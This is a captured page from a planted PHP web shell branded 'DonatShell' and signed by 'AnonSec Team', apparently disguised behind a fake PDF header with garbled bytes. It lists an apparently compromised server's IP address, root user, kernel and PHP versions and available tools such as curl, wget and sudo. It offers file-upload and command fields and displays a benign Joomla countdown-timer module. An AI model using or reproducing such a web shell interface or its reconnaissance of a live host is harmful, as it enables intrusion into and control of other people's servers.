%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/modules/mod_powrcountdowntimer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/modules/mod_powrcountdowntimer/mod_powrcountdowntimer.php
<?php
/**
* Joomla! POWr Countdown Timer
*
* @version 2.0
* @author POWr.io
* @package POWr Countdown Timer
* @subpackage POWr
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*
*/
// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

if(!class_exists('PowrHelper')){
    class PowrHelper{
      public $powr_token;

      function __construct() {
        $this->get_powr_token(); //Get powr token
        $this->add_powr_js(); //Add powr.js
      }

      //Generate a powr token
      public function generate_powr_token(){
        $alphabet = 'abcdefghijklmnopqrstuwxyzABCDEFGHIJKLMNOPQRSTUWXYZ0123456789';
        $pass = array(); //remember to declare $pass as an array
        $alphaLength = strlen($alphabet) - 1; //put the length -1 in cache
        for ($i = 0; $i < 10; $i++) { //Add 10 random characters
        $n = rand(0, $alphaLength);
        $pass[] = $alphabet[$n];
        }
        $pass_string = implode($pass) . time(); //Add the current time to avoid duplicate keys
        return $pass_string; //turn the array into a string
      }

      //Get powr token (or create it if it doesn't exist)
      public function get_powr_token(){
        $db = JFactory::getDBO(); //Initialize JFactory;
        //Make sure table exists:
        $query = "CREATE TABLE IF NOT EXISTS `#__powr` ( `data_type` VARCHAR(50) NOT NULL, `value` VARCHAR(50) NOT NULL, PRIMARY KEY (`data_type`)) ENGINE=InnoDB DEFAULT CHARSET=utf8;";
        $db->setQuery($query);
        $result = $db->query();

        //Get powr_token:
        $query = "SELECT value FROM #__powr WHERE data_type = 'powr_token'";
        $db->setQuery($query);
        $result = $db->loadAssoc();
        $powr_token = $result['value'];

        //If powr token is null, set it;
        if($powr_token == NULL){
          $powr_token = $this->generate_powr_token();
          $query = "INSERT INTO #__powr (data_type, value) VALUES ('powr_token','$powr_token')";
          $db->setQuery($query);
          $db->query();
        }

        //Set powr token:
        $this->powr_token = $powr_token;
        //echo "POWR TOKEN IS $this->powr_token";
        }

      public function add_powr_js(){
        global $POWR_JS_ADDED; //Global flag that powr js has been added
        if($POWR_JS_ADDED){
          return;
        }
		    $js_url = JURI::base()."modules/mod_powrcountdowntimer/powr_joomla.js";
        $js = "(function(d){
            var js, id = 'powr-js', ref = d.getElementsByTagName('script')[0];
            if (d.getElementById(id)) {return;}
            js = d.createElement('script'); js.id = id; js.async = true;
            js.src = '$js_url';
            js.setAttribute('powr-token','$this->powr_token');
            js.setAttribute('external-type','joomla');
            ref.parentNode.insertBefore(js, ref);
          }(document));";
        $document = JFactory::getDocument();
        $document->addScriptDeclaration($js); //Add js to doc
        $POWR_JS_ADDED=true;
      }
	}
}
//Create Helper
new PowrHelper();
echo "<div class='powr-countdown-timer' label='joomla_$module->id'></div>";
?>

Anon7 - 2022
AnonSec Team